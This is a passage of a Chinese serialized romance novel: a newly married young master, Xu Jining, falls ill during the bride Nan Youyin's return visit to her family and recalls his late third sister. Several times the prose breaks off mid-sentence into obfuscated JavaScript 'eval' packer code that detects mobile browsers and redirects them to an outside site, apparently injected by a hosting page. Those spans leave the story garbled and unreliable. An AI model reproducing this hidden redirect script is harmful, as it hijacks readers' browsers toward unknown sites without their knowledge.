松梯默默注视着火炉,火炉被烈焰烤的炉壁都发红,火光映衬下屋里的丫鬟们两颊都泛着红,不知是谁先轻轻叹了口气,紧接着大家都开始叹起气来。 松梯笑了一下道:“你们一个两个是怎么了?好好的净叹什么气?” 一个小丫鬟说道:“少奶奶这样,叫人忍不住想起三小姐了。” 尽管三小姐徐静祺去世多年,但想起她来,众人仍不忍唏嘘:“过去三小姐在时,常与小少爷打打闹闹,咱们院子里也热闹些,她一走了,徐府的生气也被抽走了一般,老爷一下子老的不成样子,小少爷也险些病死,好在现在少奶奶来了,我瞧她跟三小姐一样的性子,咱们府里终于多少能有些生气了吧?” 松梯有些怅然:“谁知道呢,少奶奶是少奶奶,三小姐……三小姐已经不在咱们身边了……” 小丫鬟们见松梯失神,知道她过去是三小姐身边的丫头,想必又在为去世的三小姐伤神,便拉着她聊了些府上好玩的八卦,见她笑了才又散去,众人走了之后,松梯独自面对着火炉与骤然静下来的屋子,心底怅然若失。 在寒风呼啸的夜晚中想起徐家三小姐徐静祺的不只是松梯,徐寂宁也想起来了。南有音忽然说她要去丫鬟们房里待会儿,使得他颇感诧异,历来没有主子往下人屋里去的,过去整个徐府只有三姐徐静祺会这样做。 房门“吱呀”几声打开又关上,南有音出去之后屋内瞬间冷清下来,虽然只是少了一个人而已,窗外呼啸的寒风似乎唱得更响了。 徐寂宁目光再次投到书上,然而横看竖看,没有一个字进他的眼,他想起了三姐徐静祺,三姐总说她是另一个世界的人,常在侍女丫鬟面前宣讲人人平等,说人不该有小姐丫鬟之分,往往惹得大家一阵惶恐,生怕三小姐“大逆不道”的言论被太太听去了,又要挨罚。 徐寂宁放下书,披了件厚衣裳,提着灯悄悄往祠堂去了,冬日的夜晚黑漆漆的,风吹得灯笼来回乱晃,一路上除了刀子般噎住口鼻的风,只有漫天散落的星辰和地上孤单的影子。 徐府祠堂立着历代先人的牌位,在一个不起眼的位置,不合礼法的摆着三小姐徐静祺的牌位,按例说她的牌位不应出现在这里,只是总有人情大过礼制,徐老爷思念爱女,说什么也要让这些香火祭祀有女儿一份。 “三姐。”徐寂宁放下灯笼,对着那个小小的木头牌位轻声说道,“今日我陪有音见了家里人,父亲母亲,大哥一家,还有二哥,都见过面了,但仍总觉得好像忘了什么一样,想来想去,只是还没来见你。” 徐寂宁说完,好像是在等回应一样,停顿了一会儿,然而祠堂空空荡荡,虽然摆满了牌位,但却不会有或人或鬼应答一二。 “三姐,你之前老是说只有彼此相爱的人才能结为夫妻相伴终生,那你说我和有音……我们算是什么?”徐寂宁自顾自地说道,“父亲母亲趁之前我病得厉害,什么也不知道的时候,瞒着我悄悄聘了南家姑娘,如今她嫁过门了,我是真不知道该如何待她,我和她总不能也同大哥大嫂那样吧……” “那样的话母亲可是要气疯了……”徐寂宁苦笑了一下。 他注视着灵牌,想起三姐总是描述的另一个世界,据说在那个世界只要相爱就能在一起,当爱消失时可以分开,只有两心相许的人,才会结为夫妻,徐寂宁与三姐相处的时间多了,免不了受她影响,也觉得婚姻感情之事应由自己做主。 但等到婚姻大事真正落到他头上时,他才忽然意识到一切与三姐说的不一样,这里不是三姐口中的另一个世界,在这里,两个毫不相干的人会因父母媒妁捆绑成夫妻,且无法分离,比如他和南有音。 徐寂宁叹了一口气,对牌位说道:“倘若你还在,现在会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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松梯答应了,但仍然闲不住,又去端来热水想服侍南有音洗脸,南有音一面感慨这些大户人家就是不一样,端茶倒水乃至穿衣吃饭都不用自己动手,一面又感到被人服侍不如自己来自在,最终只剩下梳头发留给了松梯做,这倒不是因为南有音不想亲力亲为,而是她梳头发的水平实在汗颜,过去在家总是南南老爷或者弟弟南振玉替她盘好头发,南老爷夸张地形容南有音的梳发水平是不疏能比疏完强点。 “你们做丫鬟的好辛苦呀。”南有音望着镜子里为自己盘发的松梯真挚地说道,“起的特别早,还要生火烧水,服侍穿戴……” 松梯顿时心下微颤,这样的话她过去听另一个人说过一次,如同今早一般不愿被她伺候而愿亲力亲为的人她也见过一个——三小姐徐静祺。 松梯平复心底的涟漪,温和地回答:“怎么能是辛苦呢,这是我们的本分。” “可是我何德何能呢,值得你来照顾伺候呢?” “少奶奶是主子呀,我们是奴婢,怎能相提并论。” 南有音懵懂地看着镜子里的自己,不知道说些什么好。 6. 归宁 梳妆打扮好后,南有音对着镜子左瞧右瞧,对松梯的手艺很是满意,暗想今日回门见到父母,二老一定会又夸她变漂亮了,甚至她那爱挑刺的弟弟肯定也无话可说,她的嘴角不由得浮现出了一丝得意的笑容。 “宁哥哥呢?”南有音忽然意识到今日陪自己回门的重要人物,南家新姑爷徐寂宁不见踪影,“一早上就没见到人,他昨夜那么晚才回房,总不至于醒的比我还早吧。” 松梯顶着南有音那双大眼睛探寻的目光,吞吞吐吐道:“昨夜小少爷歇在书房……” 她话语刚落,卧房的门便打开了,正是徐寂宁进来了,一进来就对上了南有音紧皱的眉头。 “你昨晚在书房睡的?”南有音毫不掩饰地瞪着徐寂宁问道。 “嗯。”徐寂宁挪开视线,沉闷地应了一声。 南有音疑惑道:“为什么呀?夫妻不是应该睡在一张床上吗?更何况你我是新婚。” 徐寂宁没有回答,径直走到案几边的凳子坐下,抬手揉着自己的太阳穴,脸色有些惨淡。 卧房的门又被轻轻叩了一下,这次推门进来的是个小丫鬟,手里端着一碗冒热气的汤,轻手轻脚地放在徐寂宁面前桌上。 徐寂宁端起碗,被冒出的热气冲得咳嗽了一两声,但这咳嗽却迟迟停不下来了,一直咳到徐寂宁弯腰捂着嘴,像是担心将肺从喉咙眼里咳出来。 “你这是怎么了?”南有音问道,她这才发觉徐寂宁脸色异常的憔悴,脸面发黄,眼底发青,嘴唇无色。 “昨夜去了趟祠堂,风大,有点受寒。”徐寂宁声音有些沙哑,无精打采的。 “要不找个大夫来看看吧,你这个样子好像不太好。”南有音立刻提议。 “今日要同你回门,找太医来怕是要耽搁时间,我让下人煮了碗姜汤来。”徐寂宁小口啜着冒热气的姜汤,又对一旁松梯嘱咐道,“这事你先不要告诉太太。” “可是——”松梯有些犹豫,徐府上下都很是关心小少爷的身体,几年前小少爷久病不起险些丧命,那会儿府中弥漫的绝望与死气松梯仍记忆犹新。 “这次没那么严重,我心里有数。”徐寂宁哑着嗓子,再次强调道,“我可跟你说过,不准告诉太太。” 徐寂宁喝完姜汤,趴在案上闭目养神,南有音小心翼翼问道:“时间还早,要不你去床上躺躺?” “已经穿戴好了,我坐着歇会儿就好。” 南有音又问:“松梯跟厨房那边说了,一会儿送饭来,你想吃什么?” “不想吃。”徐寂宁闷闷地说道。 片刻后,厨房的饭菜送来了,六样精致小菜,两种淡粥,花样属实让南有音小小惊喜了一下,忍不住感慨大户人家的好处,只是一顿早饭就这样的讲究,心中不由得有点羡慕起京城世家贵族从小锦衣玉食的大小姐们了。 南有音盛了一碗粥给徐寂宁,徐寂宁趴在案几上,任南有音轻唤了几声也不动弹,南有音只好推了推徐寂宁的肩膀,而后看着面前人长长的睫毛轻轻颤了几下,有些茫然地睁开双眼。 “吃饭啦。”南有音说道。 “不想吃。”徐寂宁感到喉咙像是被猫挠过一样痛。 而南有音只是把粥往徐寂宁面前一推,盯着他。 在南有音异常明亮的大眼睛注视下,徐寂宁直起身子,不太情愿的用勺子搅了几下碗里的粥,然后他看到南有音在偷偷笑。 “你笑什么?”他哑着嗓子问。 “当然是笑你呀,”南有音直白道,“你趴在胳膊上,脸上压出两道印子。” 徐寂宁感到几分窘迫,喝了几口粥掩饰:“这有什么好笑的。” 不知是那几口粥喝急了还是怎么,徐寂宁又开始咳嗽起来,咳得两颊与鼻尖都泛红。 “你这样真的没事吗?”南有音大力拍着徐寂宁的后背帮他顺气,担忧今日的回门恐怕不顺。 “停停停!”徐寂宁被南有音拍的后背发疼,踉跄着从凳子上跌下来,扶着桌子堪堪立着,“我又不是蚊子,值得你用这么大的手劲儿。” 南有音讪讪的:“唔……之前这样拍我弟弟,他皮糙肉厚的,我习惯了,可能是有点儿没数。” 徐寂宁又重新坐下,受刑一般艰难地吞咽白粥,经过刚才那一闹,他身上出了一层薄汗,倒感觉好了不少。 南有音也在他身边坐下:“你病得好像挺厉害,要不就和太太商量一下,今天就别回门了,我父母那边很好说话,只要我开口他们不会介意。” 徐寂宁断然拒绝:“这次归宁是新婚回门,跟之后都不一样,只这一次,最好还是照例,况且我只是有点受凉,又不是走不动路了。” “你原来也知道咱们是新婚,两个晚上都……”南有音小声嘟囔,徐寂宁自然知道她说得什么意思,只是头昏脑涨的,就假装没听见,南有音见他病着,便也不愿跟他计较。 早饭没多久,徐太太徐老爷那边就打点好了南有音回门要带的种种礼物信笺,催着南有音与徐寂宁上路,徐府居于京城内圈,南家却住在京郊,坐轿子少不得一两个时辰,其实乘马车能快不少,但本朝风俗,新娘子第一次回门都得坐轿子。 南有音对坐轿子没什么好感,她第一次乘轿子就是嫁到徐府时的花轿,晃晃悠悠不说,坐在里面几个时辰实在无聊,都将一路上吹拉弹唱的喜乐调子背过了。 “我想学会骑马,这样出门就方便多了。”南有音说道,她不安分的扭动身体,轿子很小,南有音与徐寂宁两人被迫挤在一起。 “你能不能不要乱动了。”身边紧挨着一个姑娘,同时这位姑娘还蹭来蹭去的,这让徐寂宁感到非常不自在。 “你会骑马吗?”南有音调整到一个舒服的坐姿,终于消停了。 徐寂宁也松了口气,说道:“当然会,本朝婚嫁男子须骑马接亲,我若不会,接亲那天谁去的?” “那天我一直在轿子里,压根没看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445766|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,”南有音又问,“以后可以教我吗,我一直想学。” “你学会骑马有什么用,京城哪有骑马的姑娘?” “我可以女扮男装呀,戏本里就总是这样。” 徐寂宁似乎被逗乐了,发出轻微的笑声:“你?” “怎么?”南有音有些不服气。 “不管你怎么打扮,只看你的长相就知道你是个姑娘。” “也是,”南有音幽幽一叹,“不过你长得清秀,男扮女装大概能成。” 徐寂宁被噎了一下,没再搭腔,闭目养神。 轿子里安静了片刻后,南有音突兀地说道:“我还是要学会骑马。” “你学会了在哪骑?你又不可能上街骑,我家虽大,却也没有骑马的地方。” “在哪骑不行?也就你们京城里规矩多罢了。”南有音忿忿不平,说得好像自己不是京城的百姓一样。 南有音回味着自己过去听过的戏看过的话本里女侠纵马天涯的场面,幻想着自己有一天也骑着马踏遍青山,不知是自言自语还是在同徐寂宁分享:“等我学会了骑马,我就不呆在京城,我要先一路往西,传闻西域有高眉深目的胡人,还有好多稀奇玩意……” 徐寂宁没再开口说话,闭着眼听着南有音想入非非。南有音说她要学会骑马,然后走遍万千山河,徐寂宁想起他少时为了哄难过的三姐开心,曾许过等他长大了,就带她游山玩水…… 南有音开心地讲述着未来的出游计划,忽然感到肩膀一沉,发现是徐寂宁睡过去了,倚在她身上。 南有音的心脏咚咚乱跳了几下,僵直了身子,不再敢动弹,在心底暗暗猜想徐寂宁是故意的还是不小心的。 她很想看看徐寂宁沉静的睡颜,但她又担心惊醒他,不敢动弹,只好用使劲转悠眼珠子,用目光斜斜地窥,脸是看不见,但能看到一双交叠在膝盖上的手,手指细长白皙,显然是一双养尊处优的手。 南有音举起自己的手跟徐寂宁的手比量,相比之下她的手肤色略深,指关节处也并不细腻平滑,但南有音并不在意这些,她深吸一口气,小心翼翼地,一点一点靠近,然后轻轻握住了徐寂宁的手,于瞬时间感到了得偿所愿般的巨大满足。 六年前初见时宁哥哥曾主动向她伸手,握住她那时血迹斑斑、被众人嫌弃嘲笑的一双手,彼时虽然只是短短一刻,却也于众人的冷嘲热讽中救她于水火,意外使她存下再度执手,乃至执手终生的遐想。 她小心捧着徐寂宁的手,心脏的跳动渐渐平复,她感受着手中的纤细骨肉的分量以及皮肤传递而来的温度,这种握着什么的感受很满足,也很安逸,随着晃来晃去的轿子,南有音也渐渐感到昏沉起来。 在迷迷糊糊中,她心底终究还是泛起了几丝不经意的落寞:倘若这次仍是他主动牵起我的手就好了。 但这份落寞很快消散了,她轻快地想着反正自己嫁给他了,并不是人人都能幸运的与心上人结为夫妻。 7. 玉振 回门的花轿不知道晃晃悠悠走了多久,南有音犯瞌睡偏头小睡一会儿又醒过来,徐寂宁仍迷迷糊糊地倚在她身上,他的手也仍被她握在掌中,只是手的温度偏高,竟有些发烫。 跟一个睡着的人呆在一块总归是无聊,南有音拉开轿子的帘子,瞧瞧究竟走到哪里了,手指将将触碰到帘子,虽然身体动作幅度相当轻,但左边身子一轻,徐寂宁醒了过来。 “你醒啦。”南有音道,那只被她攥在手中的手逃脱了她的掌控。 徐寂宁脸色发白,弓着身子,一只手死死捂住嘴。 南有音忙问:“你怎么了?” 徐寂宁一脸菜色,艰难道:“这轿子晃得我有点想吐。” 南有音顿时花容失色,想示意轿夫停下,但徐寂宁制止了,本朝风俗回门的花轿中途不能停下,中途停下一则寓意不好,夫妻半道而终,二则风俗就是风俗,不遵守就免不了受人议论,徐寂宁觉得不应因此叫身边的姑娘身陷漩涡。 南有音只好迅速在轿子里寻找有没有痰盂之类的东西,紧张道:“你不要吐我身上!松梯好不容易把我打扮的漂漂亮亮!” 逼仄的轿子中当然没有痰盂,徐寂宁干呕了两声,南有音绝望地注视着强行忍住恶心的徐寂宁,见他干呕的眼角发红,又不由得有些可怜他,最终挣扎一番,抱着必死一般的决心,毅然决然道:“你要实在忍不住就吐吧,我不嫌弃你。” “这怎么行,”徐寂宁忍过一阵恶心,虚弱地靠在轿子一边,说道,“回门宴上我吐你一身,这未免太不像话。” 南有音想象了一下那个场面,打了一个寒颤:“回门宴上新姑爷吐了新娘子一身,天哪!如果这样我这辈子都会被我弟弟笑死的!” 剩下的一点路程里,南有音一直忐忑紧张,但徐寂宁似乎没那么想吐了,只是闭着眼睛,蹙着眉头,虚虚倚在轿子上,只在偶然睁眼瞧见南有音那双大眼睛满是焦急一动不动地盯着他,有些不自在,便说道:“我不至于忍不住,今早我又没吃什么东西。” 南有音随口接道:“今早没吃多少,可昨晚又不是没吃。” 徐寂宁感到一时气闷,头也发晕起来:“你能不能不要再盯着我看了,我都说了我会忍住不吐出来的。” “我倒不是担心那个,”南有音解释道,“我是看你脸色很差,你是不是很不舒服?” “还好。” “真的吗?” “真的。”在南有音明亮眼睛的注视下,徐寂宁感到了几分心虚。 好在轿子颠簸着走过一段上坡路后终于停下了,轿夫一掀门帘,南有音就不顾徐寂宁的阻拦兴奋而迅速地钻了出去,两步并一步跳下轿子,一眼就看到自家门口站着的三个人——笑容满面的父母以及一脸不着调的弟弟。 她下意识想要跑过去,却听到身后的轿子里传来一声呼唤:“有音!” 一只手先探出来掀开被她闭上了的门帘,接着是有些苍白地面孔,徐寂宁看着差点扔下自己先跑了的南有音,顿感无比头痛。 南有音在徐寂宁夹杂着责备的眼神中猛然意识到病恹恹的徐寂宁不像她那么敏捷,能一步跳出轿子,于是又折返,不由分说,搀着徐寂宁下了轿子。 “有音,这样不行……”这一举动让徐寂宁感到面上有点挂不住,向来是新郎搀扶新娘下轿子,现在却成了南有音搀着他下轿子。 果然刚一下轿子,徐寂宁就感受到了一阵强烈的目光,他抬眼看去,视线的主人是站在南氏夫妇身边的一个少年,应该是此前南有音提起过的弟弟南玉振,身材高挑,高鼻深目,此刻正抱着胳膊,满脸的忿忿不平,死死盯着徐寂宁。 南玉振与南有音两人长得没有丝毫相似之处,南玉振虽没有与南有音相似的浓眉大眼,却有着与她极其相似的神态,一双眼睛冒着光,咄咄逼人。 徐寂宁被他盯得有些不自在,就像他会被南有音盯得不自在一样。 就在他搞不清南玉振为何非要盯着他时,南玉振率先开口了,他的声音是很好听,但语气夹枪带棒,异常辛辣:“我姐姐嫁给你是当丫鬟么?不应该是你扶着我姐姐下轿子吗,怎么成了她扶着你?” 没人能料到南玉振会突兀说出一段刻薄话,一时众人都有些愣住了,南有音回神后不轻不重地捅了弟弟一肘子:“你怎么说话的。” 南老爷南晨颂也颇为尴尬,出声打断了还想跟姐姐顶嘴的小儿子,有些严厉道:“玉振。” 南玉振悻悻闭上嘴巴后,南老爷与夫人无视崔云闻了刚刚那个小插曲,按照礼节迎女儿女婿进门。 与徐府相比,南家要小多了,布局也简单,南有音进徐府是头一次进到那样金碧辉煌的宅邸,徐寂宁进南家小院也是头一次踏足如此狭小的院落,他自小生在京城官僚世家的圈子里,见惯了世家大族的豪华宅邸,头一次踏足平常小院,顿感满目寒酸,在发现南家除了一个老奴外没有别的仆从时又大吃一惊,事后他同南有音说起他过去没见过像南家这样的小门小户时,南有音没忍住翻了个白眼,直言他大惊小怪,一副没见过世面的样子。 进了南家院子后,南老爷先招呼女婿喝茶,徐寂宁端起茶杯抿了一口,微微皱眉,这茶有些难以下咽,除去喉咙疼的原因之外,这茶确实算不上好茶,他看着南有音与南晨颂两个人交谈,一盏又一盏的喝,略觉不可思议,疑心南家人的舌头都比较迟钝。 天近晌午,徐寂宁感到昨夜吹了冷风的脑袋愈发昏沉起来,饭席上对着满桌佳肴夹了几筷子,有些提不起兴致,强撑着精神与岳父南晨颂喝了几杯酒,感觉嗓子眼像是被刀划开一样,偏偏南玉振似乎对他很有意见,一个劲儿地劝酒,南有音替他挡了几杯,南玉振更不乐意了,硬是强灌他了几杯,最后喝得南老爷醉了,徐寂宁也是愈发头晕脑胀,被南有音搀着去厢房中休息。 徐寂宁其实酒量很好,没被灌醉,只是浑身上下冒虚汗,不舒服的很,南有音把他安置在床上,将床底的炉子烧的很旺,担忧地看着他:“你不会醉死吧?” 他被南有音的话噎了一下感觉头不光疼,还嗡嗡作响:“我没醉,就是有点不舒服而已,歇会儿就好。” 他闭上眼没一会儿,就感到一道视线射在他的脸上,无奈地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你!”南玉振脸红了,却又憋不出话来。 南有音看弟弟吃瘪,瞬间乐了,拍拍他的肩膀,流露出胜者特有的得意笑容。 南玉振半晌才别着脸说:“你一回家就训我,真是好没意思。” 南有音懒散道:“我不在家,没人跟你吵,你可算清净了。” 她以为南玉振会接着说几句话噎她,她正斗志昂扬准备迎战,却没想到南玉振一下子哑火了,她疑惑地看向弟弟,琢磨这小子又在肚子里憋什么坏水时,南玉振突然小声说:“徐家有什么好的,无论如何也比不过咱们家……姐姐要是留在家里就好了……” 南有音会心一笑,弟弟那张惯会吐刺的嘴里难得说出几句舍不得她嫁人的真情话,她刚想宽慰弟弟几句,还没张嘴,却又听到弟弟恨恨道:“你在徐家不自在就回来,用不着听爹的话给我谋什么仕途。” 说完他便跑了,留下南有音一个人发愣。屋内的徐寂宁也听到了,愈发觉得南有音嫁到徐府是有攀附权贵的因由。 8. 轿子 冬日天黑的早,南有音与徐寂宁午饭后没在南家多留,很快又坐上轿子往徐府走了。 南有音依依不舍地告别了父母,在轿子里瞅着病恹恹的徐寂宁,想起了刚刚与母亲的谈话。母亲将她拉到一边,私下问她这位新姑爷爱吃什么,怎么茶也不怎么喝,饭菜也没动几筷子,母女二人的谈话恰巧被南玉振听到了,他冷哼一声,说京城的公子哥儿娇气着呢,想必是瞧不上咱家小门小户的饭菜。 等花轿走了一段距离后,南有音对徐寂宁说道:“你到了我家里,茶也不喝,菜也不怎么吃,叫我妈不知怎么招待你了。” 她好奇道:“我听说京城的公子小姐都是金枝玉叶,吃不下粗糙的东西,你也这样吗?你觉得我家的茶饭怎样呀?” “茶……”徐寂宁抿了一下嘴唇,犹豫一番还是温声说道,“确实不怎样,菜也不怎么……有些过咸,放油也多。” 南有音不觉得自家茶饭有什么问题,甚至看出这次为了招待新姑爷,明显是花了心思和功夫的,不知怎么到了徐寂宁这里就变得难以下咽了。 她皱眉道:“你这么挑剔,可酒你是没少喝。” “酒是好酒。”徐寂宁尝出南老爷准备的是北地一种名为潺山沁的名酒,必然是没少花钱。 “那你也不能光喝酒吧,反正你不吃饭不喝茶是把我妈愁坏了,问我下次你再去该怎么招待你。” 徐寂宁问道:“那你怎么跟夫人说的?” 南有音狡黠一笑:“我说是你无福消受,不吃不喝正好,我去徐府吃吃喝喝,最后是我家赚了。” “自然是你赚了,”徐寂宁有些疑惑,“难道你尝不出来,仅茶水一项,我家跟你家便是天差地别。” 南有音觉得有点好笑:“茶叶泡水而已,还用得着天差地别?” 徐寂宁道:“你这两日在院子里喝的都是上乘的九曲红梅,太太那边用的茶更好,是宫里御赐的明前龙井,至于今日在你家喝的,虽是祁红,但品级不佳,而且还存放了一定年头了,色泽口味又次了不少。” 南有音愣愣地眨巴着眼,她是从来没有注意过所谓的茶叶好坏,在她眼里,茶只是一种带着颜色和香味的水而已,向来是喝就喝了,从来没尝出过那么多讲究。 “我怎么没尝出过不同?”她下意识问道。 徐寂宁讶然片刻,似是想不到有人不懂品茶,说道:“京城中,品茶只是最基本的功夫,不是只有不通礼仪的百姓才不懂吗?” 南有音觉得被猛地刺了一下,徐寂宁这话虽然语气温和,话里话外却透着京城权贵高人一等的感觉。 “你这说的什么话?”她忍不住质问,她印象中的徐寂宁是不会说这种话的。 “什么?”徐寂宁一脸茫然,全然不知问题所在。 她皱起眉头,细细打量徐寂宁,目光仔细扫过他的眉眼鼻尖,仿佛在审视他是不是被冒充的。 徐寂宁被盯得两颊发红,有些不安,小声唤了一声:“有音?” 南有音挪开了视线,不再在茶水上纠缠了,转而问徐寂宁喜欢吃什么。 徐寂宁琢磨了半天,答道:“我不知道。” “怎么可能!你连你爱吃什么都不知道?”她难以置信。 “我真不知道。”徐寂宁坦诚道。 南有音半信半疑:“那你有什么不爱吃的,什么忌口之类的?” 徐寂宁又一次认真思考起来。 徐氏虽人丁不多但也累世公卿,故而徐府博大,其中奴仆也不少,其中伺候饮食的亦不再少数,徐寂宁从不为吃什么而烦恼,到了时间自会有人送饭,他竭力回想,似乎不光没有什么好吃到印象深刻的饭菜,也没有什么难吃的,都是符合他的口味。 徐寂宁在仔细考虑后又开口道:“我好像也没什么不爱吃的。” 话音刚落,他就看到南有音一双眼睛瞪着他,看山去颇为不悦。 “你既没有爱吃的,也没有不爱吃的,怎到了我家就这样挑剔?” 徐寂宁没敢说南家饭菜盐重油多,确实难以下咽之类的实话,转而说道:“我喉咙痛,咽不下去。” 南有音轻哼一声:“潺山沁那种烈酒你倒是咽得下去了。” “你爹和你弟弟敬酒,我总不能不喝。” “饭菜咽不下去,喝酒的时候喉咙就又不痛了?” 徐寂宁小声道:“痛……” 南有音莫名从他语气里听到了几丝委屈,浇灭了她心头涌起的一阵厌烦。 她怔怔瞧着他带着病态的清秀眉眼,心中杂乱,便不再跟他说话了,悄悄掀开轿子的窗帘往外看,街外洒满冬日的午后阳光,笼罩在一片淡淡的温暖中,街景从熟悉渐渐到陌生,她知道自己离家越来越远了,微微有些惆怅起来:“今日走了,也不知道什么时候才能再回去。” 但南有音没能怅然太久,很快她的注意就被徐寂宁的一阵咳嗽声吸引过去了,徐寂宁斜斜倚着轿子,神色倦怠萎靡。 “你还好吗?”她问道。 徐寂宁捱过一阵咳嗽,下意识缩了缩身子,说道:“还好,只觉得冷得厉害。” “冷?”南有音觉得这不是个好现象,虽说如今是寒冬腊月,但现下还是太阳很好的午后,两人穿得够厚实,按理说是没那么冷的。 她仔细瞧了瞧徐寂宁,他的脸色似乎没那么苍白了,反而两颊带着淡淡红晕,而这让她不安起来,她想起过去弟弟南玉振染了风寒便是这样,浑身滚烫,烧得两腮泛红。 南有音靠近徐寂宁,伸手覆在他的额头上,果然异常灼热,她蹙起眉,掌下的人却明显地哆嗦了一下,闪了闪,躲开了她的手。 她奇怪怎么回事时,却发现徐寂宁脸红了。 “你不要随便摸我……”他又忽然想到今上午自己昏睡过去,迷迷糊糊依靠着什么软乎乎的东西,一睁眼却发现自己是倚在南有音身上,霎时蒸的脸更红了。 “我就试试你是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445768|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是发热了啊,”南有音莫名其妙,但一看徐寂宁神色,顿时明白过来,好笑道,“你可别说出什么男女授受不亲的歪话,咱们已经成亲了,是夫妻,什么都可以做。” 说罢南有音故意的一样,偏把半个身子都挨上了徐寂宁。 徐寂宁推了推压在自己身上的人,却意外推到了什么身体部位,瞬间收了手。 “想不到你还挺古板。”南有音闷闷笑道。 “我不是那个意思,我是觉得……”徐寂宁小声道。 他不知道该如何处置与南有音的关系,他们是夫妻,理应是世上最亲密的关系之一,他又想起三姐徐静祺说过的,两心相许的人才可结为夫妻,可他才刚认识她三天……他不知道如何解释,最终轻轻叹了口气。 这口气颤颤悠悠落在南有音耳边,让她想起了新婚夜徐寂宁的叹气,心间恍惚,空跳了几拍,在她的预想中,她与徐寂宁之间不应该是这样。她未出嫁前在家中常见到父母恩爱情深,以为天下夫妻都像她的父母一般,便觉得婚后她与徐寂宁也应如此。 她坐直了身子,问徐寂宁为什么叹气。 徐寂宁没回答,他不太清楚如何跟南有音解释。 南有音则又一次注视着徐寂宁的秀气面庞,认真思索眼前丈夫与多年前她第一次见他时有什么不同——好像,没什么不一样,仍是清秀眉眼,是她心悦的人。 她确信眼前人是意中人没错,于是一软身子,半边身子重新靠在徐寂宁身上。 “有音……”徐寂宁局促不安。 南有音却说:“你不是觉得冷吗,两个人挨近点儿更暖和。” 两人挨得很近,听得见彼此的呼吸声,一呼一吸,鼻尖萦绕着彼此衣料上淡淡的熏香味,这样温暖舒适的环境让南有音昏昏欲睡,徐寂宁却在轿子的摇摇晃晃中愈发头痛,胃里也翻滚起来。 在南有音即将陷入梦香时却被猛烈地推醒了,她迟钝地反应发生了什么,却发现徐寂宁捂着嘴干呕。 南有音匆匆掀开轿帘去看到哪儿了,一掀帘子就看到徐府的大门,不过十几步远,她立刻叫停轿子。 刚下了轿子,徐寂宁就呕得两眼泛红,扶着南有音弓腰吐得昏天黑地,胃里本来就没多少的东西吐干净后,又吐起了黄色的胆汁,南有音吓得不轻,一时顾不上恶心了,只拍着徐寂宁的后背替他顺气。 她拍打地用力,但这会儿徐寂宁连躲的力气也没有了,勉强直起身子,只冲着被吓到的姑娘虚弱地道了声道歉,腿脚一软,两眼一黑,软绵绵地往地上栽。 南有音大惊失色,生怕徐寂宁倒在自己的呕吐物中,一把揽住他的腰,拉着他的胳膊,将他扶在自己身上,出乎她意料的是徐寂宁不是很重。 她没能感受这个出乎意料的时刻太久,反应过来的徐府小厮迅速上前,背起不省人事的徐寂宁就往府里去,她急忙跟上,一直到她和徐寂宁的院子才稍稍放慢了脚步,被闻询赶来的松梯搀着到屋内坐下。 9. 卧病 徐寂宁被小厮背进院子后,到处一片乱糟糟的,丫鬟婆子慌乱地跑来跑去,又去叫太太的,有说请大夫的,南有音被松梯拉着,时不时被瞎跑的人撞到,她面对着杂乱一片的院子,想让众人安稳下来,可除了松梯没人听她的,一时实在茫然不知所措。 忽而听到有小丫鬟喊了一句“太太来了”,似乎是一瞬间,整个院子安静了下来。 徐太太林径幽脚步匆匆,后面跟着一个留着山羊胡的老者,松梯说那是宫里的林太医,据说是太太家旁支的远房亲戚。 南有音不敢擅自行动,在门口候着,直到太太身边的丫鬟传话说太太要见她,她才被松梯半扶半拉着,忐忑不安的往卧房走。 屋内新婚的装潢还没撤去,尤其床上,一片喜庆惹眼的大红色,徐寂宁躺在其中,愈发显得无比苍白,见南有音来了,他强撑着做了个虚弱的微笑,似是想要安抚一下她,可惜南有音心里紧张,只低头瞅着地砖,啥也没看到。 徐太太在床边,与那位山羊胡子的林太医交谈,语气又快又急,让周边的人也跟着着急。 林太医语气平和,一字一句缓缓道来:“夫人不必忧心,卑职这次诊脉发现小少爷脉息比起过去强健不少,此次不至再有性命之忧,依照卑职的方子抓药,安心修养几日,不过半月便能回复如初了。” 林太医不急不慢的低沉声音安抚了众人,唯独徐夫人仍是忧心忡忡:“林大人,您再仔细看看,小儿此前久病,如今身体好转才将将半年,却又病了,我怕……” 林太医和蔼一笑,举手打住徐太太话头:“过去小少爷病重时我听闻夫人请宫里钦天监的张大人来过,事后老爷按照张大人给的法子去办,小少爷便好起来了——” 